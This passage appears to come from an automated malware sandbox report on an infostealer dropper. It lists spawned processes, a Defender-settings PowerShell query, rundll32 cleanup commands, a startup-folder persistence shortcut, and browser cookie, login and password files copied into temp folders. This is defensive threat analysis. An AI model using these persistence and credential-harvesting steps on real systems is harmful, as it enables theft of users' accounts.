string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00007404-00000C25-32332464] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00007404-00000BC1-32346083] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00005872-00000BC1-32849703] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00004768-00000BC1-33350171] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00007136-00000BC1-33803078] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: 6dt0iT0.exe.log] Observed system executable string:"3,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: 6dt0iT0.exe.log] Observed system executable string:"3,"System.Configuration Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll",0" [Source: 6dt0iT0.exe.log] Observed system executable string:"3,"System.Xml Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll",0" [Source: 6dt0iT0.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00005152-00000C25-36576290] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00005152-00000C25-37194223] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00005152-00000C25-37396306] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005152-00000C25-37592193] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00005152-00000C25-37733321] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00005152-00000C25-37951454] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005152-00000C25-38309888] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00005152-00000C25-38509817] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00005152-00000C25-39278429] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00005152-00000C25-39416162] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00005152-00000C25-39722243] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00005152-00000C25-40841109] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00005152-00000C25-40934898] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00005152-00000C25-41386410]4c:Tc13,Spawned process "Lm3NB63.exe" (UID: 00000000-00005872) Spawned process "Rb3sH52.exe" (UID: 00000000-00004768) Spawned process "cN5Rh86.exe" (UID: 00000000-00007136) Spawned process "1uT83YZ4.exe" (UID: 00000000-00006960) Spawned process "msedge.exe" with commandline "--single-argument https://accounts.google.com/" (UID: 00000000-00006748) Spawned process "2cD4503.exe" (UID: 00000000-00005152) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00004800), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00001940), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00007788), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00002492), Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00005276), Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00007308), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00001616), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00001548), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00006480), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00007332), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00002256), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004156), Spawned process "powershell.exe" with commandline ""powershell" Get-MpPreference -verbose" (UID: 00000000-00006764), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=edge_search_indexer.mojom.Sear ..." (UID: 00000000-00002804), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00002852), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00001588), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00004508), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=entity_extraction_service.mojo ..." (UID: 00000000-00005108), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=entity_extraction_service.mojo ..." (UID: 00000000-00001080)4d:Tc13,Spawned process "Lm3NB63.exe" (UID: 00000000-00005872) Spawned process "Rb3sH52.exe" (UID: 00000000-00004768) Spawned process "cN5Rh86.exe" (UID: 00000000-00007136) Spawned process "1uT83YZ4.exe" (UID: 00000000-00006960) Spawned process "msedge.exe" with commandline "--single-argument https://accounts.google.com/" (UID: 00000000-00006748) Spawned process "2cD4503.exe" (UID: 00000000-00005152) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00004800), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00001940), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00007788), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00002492), Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00005276), Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00007308), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00001616), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00001548), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00006480), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00007332), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00002256), Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004156), Spawned process "powershell.exe" with commandline ""powershell" Get-MpPreference -verbose" (UID: 00000000-00006764), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=edge_search_indexer.mojom.Sear ..." (UID: 00000000-00002804), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00002852), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00001588), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=data_decoder.mojom.DataDecoder ..." (UID: 00000000-00004508), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=entity_extraction_service.mojo ..." (UID: 00000000-00005108), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=entity_extraction_service.mojo ..." (UID: 00000000-00001080)4e:T427,"3a9c8dc060b839403dcfc8a72d29defd.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "Lm3NB63.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "Rb3sH52.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "6dt0iT0.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "explorhe.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "5id6CC5.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "1uT83YZ4.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "rise.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "FANBooster131.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "cN5Rh86.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "sqlite3.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "R83RL20231230_1_.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "clip64.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE4f:T6770,"Setup1234.exe" has type "PE32+ executable (GUI) x86-64 (stripped to external PDB) for MS Windows"- [targetUID: N/A] "Lm3NB63.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\Lm3NB63.exe]- [targetUID: 00000000-00007404] "Rb3sH52.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\Rb3sH52.exe]- [targetUID: 00000000-00004768] "6dt0iT0.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\6dt0iT0.exe]- [targetUID: 00000000-00007404] "explorhe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "5id6CC5.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5id6CC5.exe]- [targetUID: 00000000-00005872] "1uT83YZ4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\1uT83YZ4.exe]- [targetUID: 00000000-00007136] "rise.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "FANBooster131.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\FANBooster131\FANBooster131.exe]- [targetUID: 00000000-00005152] "cN5Rh86.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\cN5Rh86.exe]- [targetUID: 00000000-00004768] "sqlite3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4N197yiTuMlDC\sqlite3.dll]- [targetUID: 00000000-00005152] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "ev.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "R83RL20231230_1_.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "clip64.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00006792] "FANBooster131.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Archive ctime=Sat Jan 6 10:13:23 2024 mtime=Sat Jan 6 10:13:23 2024 atime=Sat Jan 6 07:32:46 2024 length=876544 window=hide"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk]- [targetUID: 00000000-00005152] "6dt0iT0.exe.log" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "cred64.dll" has type "HTML document ASCII text with CRLF line terminators"- [targetUID: N/A] "data_3" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3]- [targetUID: 00000000-00005152] "NMTB7kme1cG2places.sqlite" has type "SQLite 3.x database user version 52 last written using SQLite version 3025001"- Location: [%TEMP%\jobA4N197yiTuMlDC\NMTB7kme1cG2places.sqlite]- [targetUID: 00000000-00005152] "data_2" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2]- [targetUID: 00000000-00005152] "data_1" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1]- [targetUID: 00000000-00005152] "load_statistics.db-wal" has type "SQLite Write-Ahead Log version 3007000"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\load_statistics.db-wal]- [targetUID: 00000000-00005152] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log]- [targetUID: 00000000-00001616] "f_0004c8" has type "JSON data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c8]- [targetUID: 00000000-00007788] "r5IbTlcd3iTycookies.sqlite" has type "SQLite 3.x database user version 9 last written using SQLite version 3020001"- Location: [%TEMP%\jobA4N197yiTuMlDC\r5IbTlcd3iTycookies.sqlite]- [targetUID: 00000000-00005152] "ed102e1f-a1d1-4c20-87c3-a6e8431614a1.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 666042"- Location: [%TEMP%\ed102e1f-a1d1-4c20-87c3-a6e8431614a1.tmp]- [targetUID: 00000000-00006748] "data_1" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1]- [targetUID: 00000000-00005152] "index" has type "FoxPro FPT blocks size 768 next free block index 3284796353 field type 0 dBase III DBT version number 0 next free block index 3238251203"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index]- [targetUID: 00000000-00005152] "707b6ca7-80dc-4e23-88dd-24d50b18d3e7.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 388020"- Location: [%TEMP%\707b6ca7-80dc-4e23-88dd-24d50b18d3e7.tmp]- [targetUID: 00000000-00006748] "6UbGHUAqTfU3formhistory.sqlite" has type "SQLite 3.x database user version 4 last written using SQLite version 3020001"- Location: [%TEMP%\jobA4N197yiTuMlDC\6UbGHUAqTfU3formhistory.sqlite]- [targetUID: 00000000-00005152] "f_0004c7" has type "gzip compressed data original size modulo 2^32 666042"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c7]- [targetUID: 00000000-00007788] "History" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History]- [targetUID: 00000000-00005152] "yFpfkujmGY9WHistory" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4N197yiTuMlDC\yFpfkujmGY9WHistory]- [targetUID: 00000000-00005152] "data_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0]- [targetUID: 00000000-00005152] "KL5RkAcVvoZ8Web Data" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4N197yiTuMlDC\KL5RkAcVvoZ8Web Data]- [targetUID: 00000000-00005152] "Visited Links" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Visited Links]- [targetUID: 00000000-00005152] "f_0004c9" has type "data"- [targetUID: N/A] "e248dbf8-8c11-407d-9bba-df30a41e7820.tmp" has type "JSON data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Ad Blocking\e248dbf8-8c11-407d-9bba-df30a41e7820.tmp]- [targetUID: 00000000-00006748] "Tabs_13349009417793525" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Sessions\Tabs_13349009417793525]- [targetUID: 00000000-00006748] "af5f0f77-414c-41a1-a920-cf10ad9da80a.tmp" has type "JSON data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\af5f0f77-414c-41a1-a920-cf10ad9da80a.tmp]- [targetUID: 00000000-00006748] "Diagnostic Data-wal" has type "SQLite Write-Ahead Log version 3007000"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Diagnostic Data-wal]- [targetUID: 00000000-00005152] "f_0004c3" has type "gzip compressed data original size modulo 2^32 219181"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c3]- [targetUID: 00000000-00007788] "sslkey.txt" has type "ASCII text"- Location: [%TEMP%\sslkey.txt]- [targetUID: 00000000-00006748] "3cbb6d3c-3a07-4ac4-99d8-effa319b7246.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "54c3a489-5e72-4637-9812-5451ec5f154e.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\54c3a489-5e72-4637-9812-5451ec5f154e.tmp]- [targetUID: 00000000-00006748] "832fd41a-c9ef-4827-ae12-3c5a5253d99d.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "da205e83-c96c-4f66-ac3a-b34cbfeeef34.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\da205e83-c96c-4f66-ac3a-b34cbfeeef34.tmp]- [targetUID: 00000000-00006748] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "Network Action Predictor" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network Action Predictor]- [targetUID: 00000000-00005152] "BGeZ7ftGbMQQLogin Data" has type "SQLite 3.x database last written using SQLite version 3038005"- Location: [%TEMP%\jobA4N197yiTuMlDC\BGeZ7ftGbMQQLogin Data]- [targetUID: 00000000-00005152] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00006792] "HubApps Icons" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\HubApps Icons]- [targetUID: 00000000-00005152] "000004.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000004.log]- [targetUID: 00000000-00005152] "OoIHRbvw39dc000004.log" has type "data"- Location: [%TEMP%\jobA4N197yiTuMlDC\OoIHRbvw39dc000004.log]- [targetUID: 00000000-00005152] "Cookies" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies]- [targetUID: 00000000-00005152] "p8DXZOnEXoRdCookies" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4N197yiTuMlDC\p8DXZOnEXoRdCookies]- [targetUID: 00000000-00005152] "Favicons" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Favicons]- [targetUID: 00000000-00005152] "Reporting and NEL" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Reporting and NEL]- [targetUID: 00000000-00005152] "f_0004c6" has type "gzip compressed data original size modulo 2^32 114645"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c6]- [targetUID: 00000000-00007788] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log]- [targetUID: 00000000-00001616] "3cd07d8d-a796-4b7c-a0c1-fd35282a29ee.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\3cd07d8d-a796-4b7c-a0c1-fd35282a29ee.tmp]- [targetUID: 00000000-00006748] "65c3d140-9938-4e5a-bc55-8ac5668f1f96.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\65c3d140-9938-4e5a-bc55-8ac5668f1f96.tmp]- [targetUID: 00000000-00006748] "7aa1e4bc-f613-41b4-aa34-6ac34eb74ff0.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\7aa1e4bc-f613-41b4-aa34-6ac34eb74ff0.tmp]- [targetUID: 00000000-00006748] "cf7789b0-e1f9-49fe-802c-c42d8e6fb2e2.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "ba25a78f-bbc9-40a8-8f83-956794b8fa9a.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "c0205369-869b-46a4-ab66-9247ecab92e6.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "1ccaf6ad-244a-4c22-8de6-30adce8fb3ed.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\1ccaf6ad-244a-4c22-8de6-30adce8fb3ed.tmp]- [targetUID: 00000000-00006748] "141d6e94-fab0-4bec-84b2-7383eb273e9f.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\141d6e94-fab0-4bec-84b2-7383eb273e9f.tmp]- [targetUID: 00000000-00006748] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006792] "f_0004c5" has type "Web Open Font Format (Version 2) TrueType length 21700 version 1.0"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c5]- [targetUID: 00000000-00007788] "f_0004c4" has type "Web Open Font Format (Version 2) TrueType length 21464 version 1.0"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c4]- [targetUID: 00000000-00007788] "f_0004cb" has type "data"- [targetUID: N/A] "Shortcuts" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Shortcuts]- [targetUID: 00000000-00005152] "arbitration_service_config.json" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\arbitration_service_config.json]- [targetUID: 00000000-00005152] "f_0004ca" has type "data"- [targetUID: N/A] "10HO4L7w6NXR98fwklHqtBQtR6AgClW2.zip" has type "Zip archive data at least v2.0 to extract"- Location: [%TEMP%\10HO4L7w6NXR98fwklHqtBQtR6AgClW2.zip]- [targetUID: 00000000-00005152] "Firefox_ywzu7870.default.txt" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\jobA3N197yiTuMlDC\Cookies\Firefox_ywzu7870.default.txt]- [targetUID: 00000000-00005152] "WebAssistDatabase" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\WebAssistDatabase]- [targetUID: 00000000-00005152] "temp-index" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index]- [targetUID: 00000000-00006748] "data_2" has type "dBase III DBT version number 0 next free block index 3238316739"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2]- [targetUID: 00000000-00005152] "data_3" has type "dBase III DBT version number 0 next free block index 3238316739"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3]- [targetUID: 00000000-00005152] "data_0" has type "FoxPro FPT blocks size 512 next free block index 3284796609 field type 0 dBase III DBT version number 0 next free block index 3238316739"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0]- [targetUID: 00000000-00005152] "Session_13349009416860616" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Sessions\Session_13349009416860616]- [targetUID: 00000000-00006748] "Edge_Default.txt" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\jobA3N197yiTuMlDC\Cookies\Edge_Default.txt]- [targetUID: 00000000-00005152] "000004.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Session Storage\000004.log]- [targetUID: 00000000-00005152] "e4a43fe6-8c9b-4a05-ab98-f51ac551747f.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "passwords.txt" has type "UTF-8 Unicode text with CRLF LF line terminators"- Location: [%TEMP%\jobA3N197yiTuMlDC\passwords.txt]- [targetUID: 00000000-00005152] "information.txt" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\jobA3N197yiTuMlDC\information.txt]- [targetUID: 00000000-00005152] "0e78dd14-69ce-4a87-b9f1-2ff6d7ec98bd.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 12260"- Location: [%TEMP%\0e78dd14-69ce-4a87-b9f1-2ff6d7ec98bd.tmp]- [targetUID: 00000000-00006748] "850668f6-b4a5-4ca2-a19c-f334c4cd5c53.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "f6a4f247dbf4d697c26b375e3580d6053baf25f5.tbres" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\TokenBroker\Cache\f6a4f247dbf4d697c26b375e3580d6053baf25f5.tbres]- [targetUID: 00000000-00006748] "c8201b20-e002-4c7d-845a-a6d539306246.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\c8201b20-e002-4c7d-845a-a6d539306246.tmp]- [targetUID: 00000000-00007788] "7a1d8aaf-47d1-4093-a744-4ee4b591d768.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "1f5efac43b6a180f_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\1f5efac43b6a180f_0]- [targetUID: 00000000-00006748] "e8f1b16fe54135bc_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\e8f1b16fe54135bc_0]- [targetUID: 00000000-00006748] "a4aa5560bdc6fadc_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\a4aa5560bdc6fadc_0]- [targetUID: 00000000-00006748] "80cef4288d776f06_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\80cef4288d776f06_0]- [targetUID: 00000000-00006748] "cd021bcb75390d0e_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\cd021bcb75390d0e_0]- [targetUID: 00000000-00006748] "b848f7151ebdf2cd_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\b848f7151ebdf2cd_0]- [targetUID: 00000000-00006748] "4cb09bf81bae87c7_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\4cb09bf81bae87c7_0]- [targetUID: 00000000-00006748] "ca68a6931f17747e_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\ca68a6931f17747e_0]- [targetUID: 00000000-00006748] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User 